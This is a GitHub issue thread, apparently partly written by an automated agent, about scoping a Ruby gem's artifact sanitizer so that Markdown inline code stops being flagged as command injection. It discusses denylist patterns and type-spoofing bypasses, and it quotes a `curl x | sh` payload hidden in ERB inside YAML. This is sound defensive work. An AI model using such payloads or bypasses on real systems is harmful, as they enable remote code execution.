Skip to content

Sanitizer rejects any Markdown artifact with inline code as command injection #32

Open

Description

@minerva-sky

Summary

Security::Sanitizer.sanitize_file_content runs the same command_injection denylist over every artifact type before the type-specific checks (lib/agentic/security/sanitizer.rb:245). The first pattern is /`[^`]*`/ ("Backticks"), which is Ruby/shell command substitution in a code file and ordinary inline code in Markdown. Result, reproduced on main:

Agentic::Security::Sanitizer.sanitize_file_content("Run `bundle install` first.", :markdown)
# => SecurityError: Potentially malicious command_injection pattern detected in artifact content

.md is in Workspace::ALLOWED_EXTENSIONS, and a README or docs page is the single most likely thing an LLM file-generation task produces. Today any such artifact with a code span is refused, and because the raise is SecurityError (see #31) it takes the task down with it.

Same denylist also flags Open3./system(/IO.popen inside a Markdown document that merely describes Ruby, and the SQL patterns ('--, UNION SELECT) inside a .sql file whose whole point is to contain SQL.

Proposed fix

Scope the content denylists by artifact type instead of running the union over everything:

  • command_injection + code_injection → code types only (:ruby_class, :javascript_module, :python_module, shell), not :markdown/:text/:json/:yaml.
  • sql_injection → skip for :sql artifacts (or drop; a static pattern match on a generated SQL file isn't an injection check, it's a false-positive generator).
  • Keep the encoding check and the file_system_manipulation group as they are.
  • Tests: a Markdown artifact with inline code passes; a Ruby artifact with backtick command substitution still raises; the existing sanitizer specs stay green.

Small, surgical, behavior-visible only as "fewer false rejections". The security posture on code artifacts is unchanged.

Class: code-refactor (L1)
Minerva's lean: Do it as described; a security check that rejects every README with a code span isn't protecting anything, it's training users to pass verify: false.


Origin: loop:security session 2026-09-14, found while reviewing the sanitizer for #30. Not opened as a PR this session because the budget went to #30's panel; drainable by the next loop via the ledger. Checked closed/deferred issues: nothing on sanitizer scope.

Activity

  1. minerva-sky commented on Oct 15, 2026

    @minerva-sky
    CollaboratorAuthor

    Drain-loop result, 2026-10-14: implemented, panel-blocked at the gate's cap, parked on the fork.

    Branch: minerva-sky/agentic@main...fix/sanitizer-scope-by-type (commit 9406da8; sanitizer + workspace specs 80/80, full suite green apart from the two known flakes).

    What it does. sanitize_file_content scopes its denylists: prose/data types skip the command and code lists, :sql skips the SQL list, code and unknown types keep everything, encoding and file-system checks apply to all. Then the part the issue missed: FileGenerationCapability takes type straight from the model's JSON (file_generation_capability.rb:279), so the method gained name: and Workspace#validate_artifact passes artifact.name. With a name, only the extension decides the scope, so {"name":"build.rb","type":"markdown"} is rejected exactly as on main. Specs cover that spoof, setup.sh declared :text, and two Workspace-level examples.

    Panel. DHH, Dementyev, and the gem consumer cleared every criterion. Obie Fernandez objected 3/3 on the first pass (the type-spoof above; fixed as described), then 2/3 on the second pass with a new case on the same criterion: .yml/.yaml/.json are config that tools execute (ERB in a Rails database.yml, a CI workflow's run: step, a package.json script), so relaxing them by extension let <%= \curl x | sh` %>through wheremainrejected it. The third seat called it non-blocking becausemain's YAML check was already bypassable (Process.spawnpasses the old lists). The gate allows one re-run, so the PR did not open; the branch already carries the fix (relaxed extensions are now only.md, .txt, .sql`; YAML/JSON keep every check, with three specs for the ERB, workflow, and postinstall payloads).

    Class: code-refactor (L1). Minerva's lean: the branch as it stands is the PR; the next drain session reconvenes the panel on it fresh and opens it. If you'd rather YAML stay relaxed (the issue's original lean), say so and I'll drop the restriction instead.

    Follow-up spotted by the panel, not in scope here: Workspace#verify_artifact still picks its verification strategy from the model-declared artifact.type, so build.rb declared :markdown skips Ruby syntax verification. Same fix shape, keyed off the extension.

  2. added
    loop:drainImplemented from the improvements ledger by the drain loop
    on Oct 15, 2026
  3. minerva-sky commented on Oct 17, 2026

    @minerva-sky
    CollaboratorAuthor

    Drain-loop result, 2026-10-17: PR opened. #73

    The fresh panel found two more holes in the type-scoped version: a call without name: still trusted the declared type, and .md is executable in agent harnesses through the !`cmd` directive in command and skill files. The branch now relaxes by extension only and prose keeps a directive check. Round 2 cleared 3/3. Details in the PR's Panel section.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    loop:drainImplemented from the improvements ledger by the drain looploop:securitySecurity analysis loopstatus:analyzedAnalyzed, awaiting decision

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions